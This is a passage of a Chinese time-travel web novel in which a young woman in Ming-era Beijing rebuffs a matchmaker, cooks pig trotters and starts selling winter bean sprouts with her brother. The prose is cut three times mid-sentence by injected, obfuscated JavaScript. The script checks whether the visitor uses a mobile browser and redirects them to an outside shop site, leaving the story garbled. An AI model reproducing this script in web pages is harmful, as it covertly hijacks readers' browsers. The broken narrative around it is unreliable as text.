嘴上这般说着，眼睛却不住地往姜至喜身上瞟，仿佛在打量货物似的。姜至喜眸光微闪，面上不动声色，心中已经警惕起来。 姜洪老实憨厚，半点没瞧出异样，脸上还堆着和煦的笑：“什么事？” “是天大的好事！” 李大娘笑得满脸褶子都挤在一起，目光热切地看向姜至喜，“喜姐儿今岁十五了吧？长得越发标志水灵了，这闺女大了得找人家，我这正好有一门好亲事。” 姜洪先是一愣，随即黝黑的面庞涨得通红。 虽说长兄如父，但姜家父母尚在时，这等婚嫁之事自然轮不到他操心。如今乍然面对媒人，颇有些手足无措。 憋了半天，干干巴巴憋出一句：“不，不知对方是哪里人？” “正是西街陈屠户家小儿子，人家愿意给十两银子聘礼！”李大娘拍着腿股道，“只要嫁过去，喜姐儿就等着享福咯！” 她将这门亲事说得的天花乱坠，好似错过便悔过终身，可姜至喜闻言却只是微微挑眉。 她可不觉得现在的自己值十两银子作聘。 倒不是妄自菲薄，而是以姜家如今的光景，加上原身面黄肌瘦仿若流民的样貌，求娶的人要么是傻子，要么就是别有所图。 “既然条件这么好，怎么不找别家姑娘？”她淡淡开口。 这话提醒了姜洪，对啊，为什么是他们家？ 少年一下子绷紧肩背，眼睛紧紧地盯着李大娘，后者笑容一僵：“咳，那孩子腿脚是有点小毛病，但绝不碍事！人家可是诚心求娶……哎哟！” 话还没说完，院子大门突然打开，珍姐儿抄着锄头跑出来：“好你个黑心肠的老虔婆，原来是黄鼠狼上门——没安好心！我二姐才不嫁瘸子，你愿意嫁自己嫁去！” 姜至喜：“……” 这泼辣的小辣椒，不会是她那个软绵绵、可爱贪吃的三妹吧？ 那边，李大娘一时不察，竟被珍姐儿打到，顿时疼得嗷嗷嚎叫，“疯了疯了，你这小妮怎么还打人呢！洪哥儿快管管！” “呸！”哪知姜洪也啐了她一口，怒不可遏道，“我姜洪的妹妹就算一辈子不嫁人，也轮不到你把她往火坑里推！” “什么火坑，真是好心当成驴肝肺，你家穷得叮当响，一个嫁不出去的老姑娘，有人要就不错……” 见壮得像黑熊似的姜洪猛地往前买了一步，李婆子嘴巴哽住，终归是珍惜小命，扭头屁滚尿流跑了。 院子里一时安静下来，珍姐儿把锄头往墙角一扔，突然“哇”地一声扑进姜至喜怀里：“二姐！那个老虔婆太欺负人了！” 姜至喜被撞得一个踉跄，哭笑不得地接住这颗小炮弹：“刚才不是挺威风的吗？怎么现在倒哭起来了？” “我、我那是气的！”珍姐儿抽抽搭搭地抹眼泪，“他们怎么能这样欺负二姐……” 姜洪也走过来，大手在珍姐儿脑袋上胡乱揉了两下，随即看向自己的二妹：“喜姐儿，大哥刚才说的是真的，以后大哥养你。” 两人双胞出生，却不是多亲近，喜姐儿性子孤僻寡言，不爱与兄妹们说话。 今日喜姐儿愿意陪他去送水，姜洪是感到惊讶的。 惊讶过后，是高兴，高兴喜姐儿愿意亲近自己这个大哥。 “什么陈屠户李屠户，都是那老虔婆胡咧咧，我姜洪的妹妹值得更好的！” 珍姐儿连连点头：“就是就是！二姐要嫁就嫁状元郎！” 姜至喜被逗笑了，同时心头涌起一股久违的暖意。 自从奶奶去世后，她已经许久不曾感受过这样的家人温情了。 “就必须嫁人吗？”她故意道，“说不定我想招赘呢？” “那就招个状元！” 兄妹二人一锤定音。 “……” 这下倒换姜至喜语塞了。 她觉得大概、估计、应该没有状元愿意入赘吧？ 因为这一出，方才被李婆子搅扰的烦闷都淡了几分。 姜洪把独轮车从外面推挤来，关上大门，见仍有好事者在门外探头探脑，气道：“下午我便去割些棘枝，把院墙围住！” 对此，姜至喜深以为然。 这院墙确实该修，否则整日被人当戏看不说，更重要的不安全。 抬头看了眼日色，已近午时，猪蹄是来不及处理了，所以午食吃的是早晨剩下的香煎鸡子水饼。 放在笼屉里稍微蒸一蒸，味道不如现烙的，但也香软可口。 饭后姜洪匆匆出门去后山砍棘枝，顺道找之前的牙人问问新活计的事。 对此，姜至喜并未阻止。 她心里虽然有一些想法，但眼下尚未实施，是否成功还不一定。 这个世上，每个人都是独立的个体，即便是血脉相连的兄妹，各人也有各自的人生轨迹，终究不能替对方做决定。 而且她有自己的事情要做。 姜至喜收敛起思绪，询问珍姐儿家里有没有宽敞些的家什，在对方指点下，从卧房的炕底翻出个带破洞的芦苇席子。 “……” 行吧，也能用。 先打一盆水，将芦席里里外外冲洗干净，其他破损还能将就，唯独中间的破洞实在太大，她琢磨了会儿，干脆寻来原身的一件夏衣补上，总算能挡住漏处。 即便是后世，想要在冬日发豆芽也需要点儿功夫。 温度、湿度，避光，通风，四者缺一不可。 好在姜至喜的随身小菜园能自动调节阳光和温度，可以模拟豆芽生长所需要的条件。 姜至喜点着柴火，提前烧了一壶水。 泡黄豆需要的水不能太热也不能太凉，用温水浸泡四个时辰，期间仔细挑出浮在水面的坏豆。 上辈子姜至喜搬回乡下老家，因离着超市较远，所以经常自己发豆芽。 最初几次总是失败，豆子不是烂掉，就是长出稀奇古怪的颜色。她不明所以，后来多亏隔壁一位热心的老太太点拨，才知晓发豆芽的器皿不能沾油荤，且整个过程都要注意避光。 姜至喜不由感慨老祖宗的智慧。 那些于漫长历史长河里总结出来的经验，看似粗浅，实则蕴含着大道理。 等待黄豆浸泡的间隙，姜至喜取出猪蹄，坐在院子的小板凳上处理去毛。 见状，珍姐儿抱着小妹过来凑热闹。 小妹是家里最小的孩子，尚在襁褓时周氏就撒手人寰，因未及取名，大家便小妹小妹叫着。 可怜的小家伙自打出生就没吃过几口奶水，全靠稀薄的米汤吊着，如今又瘦又小，长得跟只小猴子似的。 姜至喜盘算着等攒够钱后，可以先买头奶羊。羊奶养人，羊毛能纺线织衣，一举两得。 此外还要买炭火、棉衣、厚被，家的米缸也见了底，后续要添补。 桩桩件件，都是钱啊。 听说家里买了肉，珍姐儿原本满怀期待，可等姜至喜拿出两块猪脚后，小姑娘顿时大为失望。 尤其燎烧猪毛的时候，空气中飘散着一股烧焦的骚猪味，珍姐儿的表情逐渐变成了惊恐：“二姐，这猪脚是要拿来做什么？” 姜至喜看到小姑娘生无可恋的表情，差点儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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结果等了半晌不见动静，寻至内室，见老妻正捧着个纸包笑。 “你这老不羞的，总算没忘了老身。” 徐溥咳了咳，颇有些心虚。 他没好意思说这饼是旁人赔的，还是用什么“鸡子水”做的古怪玩意。本想含糊过去，哪知老妻已经张嘴咬下。 见状，徐溥暗叫不好，正做好挨骂的准备，紧接着却听到老妻赞叹：“这饼子味道不错！” 徐溥：“？？？” 旁人或许不知，徐溥心里可是清楚，打入了冬老妻的胃口便格外差，平日里饭菜不过动几筷子，此刻居然能吃得这般香甜？！ 徐溥瞧着，心里渐渐生出几分好奇。 难道这吃食当真如此美味？ 他犹豫了刹那，终还是小心翼翼地尝了一口。 下一刻，老人灰黄的眸子骤然亮了起来：“外软里嫩，咸香适口！” 放凉的水饼丝毫不减香软，里头的鸡子毫无腥气，反倒透着一股奶香，与小葱相融，清爽开胃。 徐溥虽生活俭朴，但以他如今的地位，鸡蛋并非稀罕物。正因如此，他才更加惊讶口中的水饼竟是鸡蛋所做，却丝毫没有水煮蛋的凝滞之感。 仿若稚子吃的蛋羹。 不，比蛋羹更胜一筹！ 盐粒完美地融化在每一处面粉中，不会出现甜咸不均的情况，薄而不破，软而不散，牙齿未用力，温润的蛋香便化在口中，仿佛春雪初融，绵绵密密地裹住了味蕾。 人老了，味觉会退化，所以咸香味道的鸡子水饼，比水煮蛋更合徐溥的心意。 他不由得抚掌大笑：“尝此美味，当浮一大白啊！” 老妻亦点头附和，可惜饼子只有三张，两人一人一半，顷刻间就吃光了：“对了，这饼子你从何处买的？” 闻言，徐溥竟一时语塞。 无怪其然，因为他压根儿就没问那小娘子的名姓！ 5. 第 5 章 第5章 日落西山，天边蒙上了一层暮色。 姜洪拖着一大捆棘枝从牙人那儿回来。他跑了一天也没有找到新活计，不是工钱太低，就是与幼军的差事冲突。 虽说幼军算不得正式军户，可每月仍要应召操练弓马，还得参与卫所屯田，《问刑条例》更是规定，军户子弟不得擅自离所营生。不过，理论与现实往往存在差距，时常有军匠子弟偷偷混入崇文门外的民间作坊帮工。 他心中正愁闷不已，鼻尖忽然闻到了一股难以形容的香味。 巷子里有人推开门，嘴上骂骂咧咧：“大白天谁家吃肉呢？！” “就是，这不是故意馋人嘛，小心把家里油罐子给倒空咯！” 还有孩子馋的不行，争着吵着哭闹：“娘，我也要吃肉我也要吃肉！” 然后隐隐约约的，大概是家长的训斥：“吃吃吃，就知道吃，馋不死你个小兔崽子！” …… 住在这片的人家都不宽裕，一年到头难沾几次荤腥，姜家也是吃不起肉的其中之一。 可不知怎的，姜洪莫名有种猜测，这香味是自家的。 脚下步伐禁不住加快，随着离目的地越来越近，那味道越发霸道，推开门时，正巧撞上姜至喜端着一大盆猪蹄从厨房走出来。 后面跟着亦步亦趋的珍姐儿。 原本嫌弃不已的珍姐儿，这会儿早就忘记自己的誓言，恨不得将头埋进盆里。 “大哥，你回来了！快来吃饭吧！二姐做了黄豆焖猪蹄！” “焖猪蹄？” 姜洪傻了眼，那馋到小孩哭的香味，竟然是猪蹄飘出来的？ 直到坐到方桌前，闻着扑面而来的肉味，他才回过神，然后——咕噜咕噜，嘴巴狂咽口水。 真是猪蹄啊！ 可不嘛！早上的猪蹄处理妥当，和黄豆一起下锅，炖了足足半个时辰，如今早已软烂。 盛上桌子，颜色便先夺目。表面泛着琥珀般的油润光泽，皮肉分离，最上层是半透明的猪皮，往下是雪白的油脂，瘦肉较少，间或附着在骨头上，增添了不少色彩。 拿起筷子，轻轻往那一搭，几乎没使什么力气，猪蹄的皮肉便已摇摇欲坠地挂在骨上。再稍一施力，那颤巍巍的猪皮竟直接脱了骨，软软地垂在筷尖，晃动着似在勾人品尝。 而这种效果，源于姜至喜在做猪蹄时，特意“两步走”。 先大火炖开半刻钟，撇去浮沫，让猪蹄里面的胶原蛋白快速析出，再转小火，保持汤面冒着小气泡，慢慢炖一个时辰。 如此做出来的猪蹄如凝脂般酥烂，胶质溶化，几乎黏嘴。 姜家兄妹俩从半信半疑，到吃得眼睛眯起来。 珍姐儿是个隐藏的美食大家，点评道：“我感觉这个猪蹄已经和我融为一体啦。” 与之相比，姜洪就朴实多了：“好吃！” “唔，真好吃！” 猪蹄半浸在酱汁里，又烂又黏稠，最外层软得像凝住的胶，糯糯地黏着舌面。往里是雪白的肥肉，细口油润，肥而不腻。 跑了一早上力气活，肚子早已饥肠辘辘，姜洪出声的时候，都没舍得停下嘴，忽然，牙齿咬到一处弹牙的蹄筋。 他愣了愣，条件反射要吐出来。 可下一刻，印象中硬邦邦的蹄筋竟在齿间融化——持续的小火把猪蹄的筋炖透了心，不再硬韧，而是软弹弹、滑溜溜，咀嚼间，能感受到一股柔韧的阻力，但阻力不强，轻轻一扯便断开，渗出深一层的鲜。 这哪里是猪蹄，是神仙肉吧！ 而姜至喜则更喜欢吃贴骨的那点瘦肉。 肉丝早已软烂，吸饱了汤汁的浓醇，一丝丝地散在嘴里，和皮、筋的滑糯不同，是实实在在的肉香，混着黄豆炖出的清甜，一点也不腻。 一整个吃下来，从皮的糯，到筋的弹，再到肉的酥，剥洋葱似的在嘴里化开，最后连牙齿缝里都留着香味。 两个猪蹄，说多不多，三个人分食，顷刻间就见了底。 见状，姜洪和珍姐儿虽然遗憾，但却并没有失望，毕竟锅里还有黄豆呢！ 因为泡在汤中，黄豆已经吸足了肉汁，从干瘪的豆子，变成胀鼓鼓的一粒粒小金珠，有些已经绽开了皮，露出里面黄澄澄的内里。 味道也是别有一番滋味，软中带糯，入口清香，恰到好处中和了猪蹄的肥腻。 为了配这一顿美食，姜至喜专门蒸了一锅干饭，掺着麦麸的粗粮，蒸熟后粒粒分明，口感独特丰富。 先吃一口肉，再来一口饭，好不快活！ 珍姐儿甚至无师自通把汤汁浇到干饭上，油盐糖酱料炒出来的糖色，收汁后更加浓稠绵密，同时又吸收了猪蹄的肉香，那么一淋，棕黄的酱汁便渗进饭粒的缝隙里，每一口都裹着浓郁的料汁。 她扒拉得飞快，腮帮子鼓鼓的，含含糊糊地嘟嚷：“原来猪蹄这么好吃，以后我们家不要买肉，只买猪蹄好了。” “是吗，”姜至喜说，“我在那些大酒楼看到不少新鲜吃食，还想着以后慢慢尝试呢。” 珍姐儿立刻改口，狗腿簇拥：“二姐买什么我吃什么！” “噗嗤。” 笑声回荡在不大的屋内，于严寒的冬日，充斥着最朴实的温情。 姜洪也跟着笑起来，只是憨厚的笑颜下，藏着些许忧愁。 饭后，一家人各自忙活，收拾碗碟，擦桌扫地。 姜洪把砍来的棘枝修剪整齐。 棘枝就是野酸枣的枝子，一种生于野外的灌木，每到秋季会结酸溜溜的小枣，是京师不少孩子的“零嘴”，同时枝干粗硬结实，其上长满了尖刺，一些百姓会用来作院墙的防护。 再从河边挖来一筐黄土，掺水和成泥巴，把棘枝一层层垒在原本的墙上，如此院墙又加高了半米。 虽然仍能看到院内情形，但贼人是进不来了，否则定会被那些尖刺扎得皮开肉绽。 姜至喜满意地点点头，带着珍姐儿去厨房检查泡下的黄豆，没一会儿，姜洪也走了进来，神色有些犹豫：“我今日去找牙人，没有找到活计。” 自责，懊恼，不甘，各种复杂情绪深深压在这个十五岁的少年身上。 他攥了攥衣角，甚至不敢抬头，生怕看见妹妹失望的眼神。 谁知，想象中的场景并未发生，耳边却传来一声清脆的回应：“那太好了！” 姜至喜高兴道：“正好我想请大哥帮我一起摆摊。” 她是真的开心——推车太重，她自己一个人实在吃力，大概率需要帮忙。姜洪却被这突如其来的提议弄懵了，一时没有跟上妹妹的思路：“摆摊，卖水吗？” 姜至喜摇了摇头：“不是，摆摊卖吃食。” 作为一名设计专业高材生，穿越古代后要怎么办？ 真正经历穿越的姜至喜表示——凉拌。 首先在大明，设计师属于匠户，要么依附官府作坊领份口粮，要么在私人铺子接单，偶尔有那名声在外的文人雅士，会应富户之邀设计园林景致、监制文房雅玩，或是给名家书画做装裱题跋，但那些都是靠经年累月的名气攒出来的门路。(1) 其次她是女子，虽说明代程朱理学对女子的束缚稍有松动，但仍改不了女子地位低下，“女子修身，重在柔顺”的观点深入人心。 既无师门传承，又无名声傍身，难不成她真要画张图纸就去敲富户的门，指望人家凭空投钱？ 思来想去，姜至喜觉得比较靠谱的，还是摆摊卖小食。 得益于上辈子的经历，她厨艺还算不错。 加之今日出门走过一遭，发现明朝的街市远比想象中热闹，其中不乏妇人、女郎，可见在这个时代女子摆摊并不稀奇，不必担心会惹人非议。 姜至喜的话一出，厨房里瞬间安静下来。 两人都被姜至喜的想法给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991804|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震惊了，商人能赚钱，但为什么人人不去做商人？ 一方面人们总对未知之事心存畏惧，另外一方面，不是所有人都有经商的能耐。 姜洪下意识退缩：“这，怕是不成吧？” 对于这种情况，姜至喜早在预料之中，平静反问：“为何不成？” 姜洪被问住了，他只是本能地觉得不妥，就像他本能地觉得自己比不上其他军户，比不上那些官老爷。 “难道大哥觉得我做的饭不好吃？” 姜洪立刻摇头。 喜姐儿做饭菜的手艺他是信服的，不说白天的香煎鸡子水饼，便是刚吃完的黄豆焖猪蹄，都让他回味无穷。 但做饭好吃，不代表摆摊就能赚钱，他认真思考了会儿，总算找出几处关键：“咱们卖什么吃食？本钱又从哪儿来？” 姜至喜唇角微扬，话锋一转：“所以我们一开始只卖豆芽。” “豆芽？” 姜洪一下子想到了回来时姜至喜特意买的黄豆，一时间恍然大悟。 至于姜至喜为什么会发黄豆，对此本人的解释是，她无意间听一个读书人提的，自己也是头次尝试，未必能成功。 一直没吭声的珍姐儿突然吸溜了下口水，问：“豆芽好吃吗？” “好吃，可以炒着吃，炖着吃，做成饼子吃。” 珍姐儿年纪小，还不太明白家里这些大事。 不过在她心里，无论大哥二姐要做什么，她都会支持。 只是要摆摊的话，他们家以后就能常吃豆芽了吧？ 那她也喜欢摆摊多一点点好了。 / 姜至喜以为自己会费一番口舌。 没想到的是，确定要卖豆芽后，家里的其他人比她还要积极。 这可苦了姜至喜，只能趁着夜间悄悄将席子挪到菜园子里。等到白天灶台烧火的时候再取出来，借着柴火余温，总算维持住了发豆芽的温度。 接下来就是漫长的等待。 姜洪和珍姐儿心里直打鼓——怎么觉得这发豆芽的法子比蒸饼还要简单？ 听人说冬日的洞子货因为稀有所以价钱昂贵，可他们不过是把豆子泡了水，平铺在芦席上，上面盖块湿布，再覆层干草。 前前后后忙活下来，统共不到半个时辰！ 越想越觉得悬乎，虽如此，二人却是隔三差五往厨房溜达，那副模样，活像守在产屋外的汉子。姜至喜起初还念叨两句，后来见劝不住，索性由着他们去了。 趁着天气晴朗，她从屋里搬出个蒲墩，坐在院子里篦头发。 要说穿越到这儿最让她难以忍受的，除了穷，便是没有办法洗澡！ 尤其那日瞧见珍姐儿头发里钻出一只虱子，珍姐儿没什么感觉，倒把姜至喜吓得头皮发麻，之后总觉得自个儿身上也痒起来，见状，珍姐儿哈哈大笑，嘲笑她居然害怕小虫子。 姜至喜既无语又无奈。 她要怎么解释，这是跨越几百年的卫生习惯呢？ 无他，对于现代人来说避之不及的虱子，对古代人来说却是再正常不过的。 前有东晋王猛的“扪虱清谈“，传为美谈，后有大家熟悉的宋朝宰相王安石，与神宗皇帝侃侃谈国事时，衣服里的虱子直接爬上了胡须。 更不用说徐阶，算算时间对方大概还未出生，那可是一个抓住虱子直接“嘎嘣”搁嘴里，势要把虱子吸的血给夺回来的神人！ 姜至喜自认没有大佬们的“魄力”，洗不成澡，只能辛苦一点，每日用篦子篦头发。 并默默在赚钱后要做的事情后面加上一样——带全家去混堂洗澡！ 正思考着，忽然听到厨房里姜洪的喊声。 姜至喜脸色一变，还以为出了什么岔子，来不及将散乱的发丝绾好便匆匆跑过去，结果一进去，就看到姜洪蹲在芦席前欣喜若狂的样子。 “发芽了，真的发芽了！” 6. 第 6 章 第6章 姜洪面庞涨得通红，眼睛闪着另样的光彩，天知道他只是过来洒水，结果掀开湿布后，竟看到底下的黄豆已经冒出青嫩的小芽！ 姜至喜悬着的心逐渐落地。 她抬脚踏进厨房，先将芦席盖着的湿布掀开，仔细查看豆芽的出芽情形。这一看，倒有些惊喜，十成豆子里竟有九成发了芽！ 如此一来，不出意外，这些发了芽的豆子都能长成。 重新盖上干草保温，身后，姜洪迫不及待问：“喜姐儿，这算成功了吗？” 姜至喜点头：“再有三天就能吃。” 原本将信将疑的姜洪彻底相信了，乐呵呵道：“我听说顺天府衙那边的富人家最爱吃洞子菜，就说黄瓜，他们愿意花五两银子买呢！” 姜至喜摇了摇头：“黄瓜是用洞子暖室培育的，时间长，成本高，所以才能卖到五两银子，我们的黄豆芽，你也看到了，方法并不是多难，最多能卖个七八文一斤。” 七八文也是极好的，要知道素日的绿叶菜不过一二文，而且姜洪送一车水才收四文钱。眼前这些黄豆芽少说也有二十斤，若全部卖掉，岂不是，岂不是…… 然后姜洪卡住了，因为他的十个手指突然算不过来了，姜至喜自然而然接上：“一百四十文。” 嚯！ 这下，姜洪激动到连脖颈都红了，他噌的站起来，踱步在厨房里走来走去，最后想到什么，猛地朝门外跑去：“我去擦车子！” 姜至喜：“……” 不过低头一看，这么多豆芽确实需要用车推着去卖，姜至喜摸着下巴思考，她是不是也要准备点儿东西。 比如……秤砣和盛豆芽的匏瓢？ / 小雪初过，清早推开门，地上凝结了层厚厚白霜。 此时天尚未明，街上已经有不少人影，沐着夜色步伐匆匆，赶着一天的伊始忙碌奔波。 姜洪推着独轮车从家里出来，车上装着几个盖着布的木桶，姜至喜依旧走在前面拉车。 经过巷子口时，陈氏刚巧送走林总旗，看到他们招呼了声：“洪哥儿去送水啊。” 姜洪憨厚的笑了笑，没吭声，姜至喜却是主动道：“林婶，我们今日不送水，去摆摊。” “摆摊？”林陈氏愣了愣，“你们卖什么？” 姜至喜笑着掀开一个木桶，天色暗沉，陈氏其实看不太清，只隐约见里面装着满满的东西，盖子打开，一股清爽的气息扑面而来。 陈氏正好奇，便听到姜家的喜姐儿款款道：“黄豆芽，和绿豆芽相似，尝起来更为爽脆有嚼劲。” 陈氏自然是吃过豆芽菜。 她虽然住在南鼓巷，但家里那口子是个总旗，多少富裕点儿。可那都是在暖和天，冬季也有豆芽菜？ “你这豆芽菜怎么卖？” 姜至喜笑容更深了点儿：“七文一匏瓢，比外面划算多了，林婶要不要来一点，冬日吃这个清爽的很！” 陈氏确实想吃这口新鲜的，加上七文虽贵但也能接受，于便爽快道：“那给我装两匏瓢吧。” 目睹这一切的姜洪一脸恍惚。 他是谁？他在哪？怎么就卖出去了？ “称重”、“打包”，完全是凭借着肌肉记忆在行动，等手中多了十四枚铜板，姜洪才终于有了实质的感受。 “真卖出去了？！” 姜至喜同样高兴。 不过她知道主要原因还是长辈之间的情分，因着姜父生前是林总旗麾下的兵卒，姜父姜母去世后，林总旗夫妇一直对他们兄妹多有照拂，如今陈婶来买豆芽菜，无非是变着法子接济他们罢了。 果不其然，接下来的路程，即便再有询问，也无人愿意掏钱购买了。 出了巷子，兄妹二人直奔安定门大街。 酒香还怕巷子深，做生意除了货物好，最关键要找好市场定位。 如今这个年代，能吃起洞子货的主要还是一些富贵人家，豆芽菜虽不像黄瓜那般昂贵，但仍旧将一部分百姓筛除在外。 所以姜至喜选择了一处较为繁华的街道。 往东临着开元寺，往西则是顺天府衙门一条街，南边是去皇城和外城的必经之路。 清晨时分，路上行人来来往往，姜至喜迎着热闹的人流，在街边的檐下找了一处空地，支起车子，开始了大明摆摊的第一天。 这一片的流动摊位还是很多的。 旁边便是个卖豆腐的摊位，那摊主自打他们过来就频频侧目，目光里带着警惕，直到姜至喜掀开木桶，倒出黄豆芽，对方才收回视线，不再盯着看。 卯时初，街上行人增多，百姓们出门买朝食，大户人家的仆从忙着采买，乘坐着轿子的官员、身着官服的衙役也陆续往各司署赶去。 仿佛平静的湖水落入石子，整个京师一下子活了过来。 因着是第一日摆摊，姜洪把姜至喜送过来后便没有离开。 他盯着街口，人来人往，却始终无人驻足，方才卖货的欢喜劲儿凉了下来，心情不由变得紧张。 这么多豆芽菜，莫不是要烂在筐里？ 姜至喜倒是不慌不忙。 此时街上往来的多是穿着粗布衲袄的寻常百姓，出门采购精打细算，一个铜板恨不得掰成两半花，很少会买计划之外的东西。 而真正有闲钱、愿尝鲜的客人还未出现，所以暂且不到时候。 阳光洒在青石板上，豆腐摊的摊主两手抄在袖里，袖子边缘还沾着点儿豆腐渣。 他打了个哈欠，被冷风吹得干裂的嘴唇传来撕裂感，舌头一舔，果然尝到了铁锈味。 于是顺手从车架夹缝里拿出水壶喝了几口，放下后，像往常一样继续缩在摊子后面等顾客上门。 不是他买卖不认真，而是做生意就是这般，得耐住性子慢慢等，他家豆腐好，等做饭的主妇们出来，自然能循着找到跟前。 豆腐摊摊主如此想着，耳侧突然传来一声响亮的叫卖。 “豆芽菜，新鲜水灵的豆芽菜咯！冬日里难得的蔬菜，一斤只要七文钱。” 声音清脆，初时还带着点儿生涩，很快那点儿生涩就被流畅取代，仿佛摆了多年的老手。 豆腐摊摊主：“……” 循声望过去，是今日过来的兄妹俩，叫喊的是其中的小娘子，杏眼琼鼻，脸庞像鸡子似的流畅，瞧着年岁不大，吹了这么久的冷风，小脸已经通红，嘴角却挂着明媚的笑。 他撇撇嘴，心想这丫头片子怕是第一次出来摆摊，做生意讲究“稳妥”，哪能像她这样扯着嗓子乱喊。 看在对方可怜的份上，他准备传授一下自己的经验，结果下一刻，便有个年老的婆子犹犹豫豫靠近，狐疑地问：“你这里有豆芽菜？” 来了生意，姜至喜便暂时停了叫卖，笑着回答：“姐姐，刚发出来的黄豆芽，用的都是精挑细选的好黄豆，保准新鲜。” 旁边豆腐摊的摊主看着快要盘着发髻、一脸膘肉的老婆子，脱口而出：“什么姐姐，大娘差不多吧！” 然后就收到了老婆子的怒视。 姜至喜有些好笑，这位“邻居”怕是个没眼力见的愣头青。从古至今，不论哪个时代，女子都不愿意被人说老。 何况在姜至喜眼中，妇人约莫才四十岁左右，放在后世，正是最好的年纪。 “倒是我没有注意了，这位姐姐体态丰盈，皮肤白皙，想来平时很注意养生，荤素搭配饮食。” 她毫不怯场，脸颊笑盈盈的，虽瘦削，但笑起来两侧会露出深深的酒窝，让人不自觉心情好起来。 那老婆子本来就被一声“姐姐”叫得喜笑颜开，这会儿听到多吃蔬菜对身体好，更是心动。 想起这些年为了给儿子娶媳妇，自己连块豆腐都舍不得买。昨儿个染了风寒想吃碗红糖鸡子，儿媳便在灶台前摔摔打打，而她一把屎一把尿养大的儿子，只会杵在门框边装聋作哑。 一时情绪上头，当即道：“给我称两斤！” 这世上如果自己都不对自己好，恐怕便没有旁人了。 姜至喜立刻给姜洪使了个眼色，后者连忙拿出晒干的荷叶打包。 见状，老婆子摆摆手，直接将自己挎着的篮子递过去：“给我放里面吧。” 能省下荷叶，姜至喜自然乐见其成，送走第一个客人，她继续守着摊子叫卖。 人都有从众心理。 就算原本没有打算买，看到别人掏钱，也忍不住凑上前看个热闹。再掀开木桶，水灵灵的黄豆芽挂着晶莹的水珠，耳边还有姜至喜一声声的“营养解说”，心里那点儿犹豫便不知不觉消散了。 ——反正才七文钱，买回去尝尝也好。 姜洪第一次跟着出来摆摊，半大小子，跟人说话时声如蚊呐，扭扭捏捏地很是不自在。 姜至喜也不特意管他。 说不如做，有时候不管怎么说都不会，事教人反而一教就会。 果然，后面人越来越多，少年哪里还顾得不好意思？手忙脚乱跟着打包、找零，别说扭捏了，对着五十岁的老汉都能热切地喊大哥。 豆腐摊摊主：“……” 一上午的时间，小小的豆芽摊，陆陆续续都有顾客过来。 “这豆芽菜水灵，比我在别处买的鲜嫩多了！” “闻着也清爽，给俺也称上一斤。” “哎哟，今天买得多了拿不下，小娘子，你们这摊儿往后还在这摆不？” 姜至喜当即给人确信的回复：“您放心，我们往后四日一次在这附近摆摊，风雨无阻！” “那就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刹那间，屋内的光线顿时暗下来，只余门缝窗隙漏进几缕灰蒙蒙的光，照着松脆发黄的墙壁。 在姜洪和珍姐儿期待的视线中，姜至喜把腰间的布包解下，哗啦——全部倒到桌子上。 “哇！” 珍姐儿情绪价值拉满：“好多好多钱！大哥和二姐真厉害！” 姜至喜咳了咳，虽早有心理准备，嘴角还是控制不住翘起，果然夸赞永远是拉近关系的灵丹妙药。 她开始给两人算账。 俗话说得好，亲兄弟明算账，虽然生意是她的，但兄妹三人都有出力，她一开始便准备按劳分配发放报酬。 只是前期家里太穷，这些钱大概率会继续投入：“黄豆比黑豆贵，三文一斤，当初买了两斤，焖猪蹄用掉一部分，剩下的全部发了豆芽。” “今日卖出去的黄豆芽大概有十七斤，按照一斤七文来算，今日总共赚到了一百一十九文，除去本金，净利润有……一百一十三文。” 听到这个数字，姜洪和珍姐儿惊呆了。 尤其姜洪，他知道赚钱，但没想到这么赚钱，一次就赚了一钱多银子，若是一年下来，岂不是能有十几两？！ 所以在听到姜至喜说“豆芽菜具有时节性，等到天气暖和了，价格必然会下跌，可以趁这段时间多发一点豆芽”时，当即蠢蠢欲动：“我那儿还有几十文，要不再去买些黄豆，多发一点？” 可惜这一想法被姜至喜否决了。 “不妥，家中只我们三人，发得多了，一则销路有限，白白糟蹋了豆子，二来灶间只得一方席子、一个灶眼，便是想多弄些，也是力有不逮。” 真实原因其实是她的随身菜园太小，放不下那么多张芦席。 想到这，姜至喜遗憾地叹了口气。 上辈子为了吃到新鲜的蔬菜，她把那菜园伺候得极好，单常见的蔬菜种类就种了二十多种，后面种地上瘾，甚至突发奇想准备种点儿粮食。 土地不够用，便特意买下隔壁的房子，准备打通后种玉米，结果刚洒下种子，人就穿到古代。 可怜她的土豆，番茄，西葫芦……也不知道怎么样了，如果可以的话希望村里人能够摘走，省得烂在地里浪费。 等到做饭的时候，姜至喜趁着没有人注意，心中默念一声“进”。 如同之前的几次一样，眼前成功出现了菜园的风景，可这次，刚“进去”，她就发现了不对劲。 原本菜园只有入口处一平方米的田垄，如今菜园的入口却往里延伸了些许。 还有那栅栏后面，绿油油、水嫩嫩的是什么？ 7. 第 7 章 第7章 很快，姜至喜就得到了答案。 她当初为了极大利用好菜地，在入口种了一畦的韭菜和生菜，韭菜已经割过一茬，如今再看，竟是生得比原先还要好！ 可是，这菜园怎么突然变大了？ 姜至喜欣喜过后，理智逐渐回笼，立刻凑近了查看，结果里里面面察了，并没有发现什么特别之处。 她不由得陷入沉思。 